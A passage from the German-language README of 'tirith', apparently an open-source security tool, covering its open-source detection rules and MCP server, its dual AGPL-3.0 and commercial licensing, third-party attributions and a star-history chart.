**Die zentrale Sicherheitsabdeckung wird im Open-Source-Baum ausgeliefert.** Alle 244 Erkennungsregeln und der MCP-Server sind aus dem Quellcode verfügbar. Das Repository enthält weiterhin Legacy-Lizenzierungs- und Policy-Server-Codepfade, gehen Sie daher nicht davon aus, dass jeder Laufzeitpfad bereits tarif frei ist.

tirith ist dual-lizenziert:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), frei unter Copyleft-Bedingungen
- **Kommerziell**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), falls die AGPL-Copyleft-Verpflichtungen nicht zu Ihrem Anwendungsfall passen, kontaktieren Sie [email protected] für alternative Lizenzierung

Attribuierungen von Drittanbieterdaten in [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).

## Star-Verlauf

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)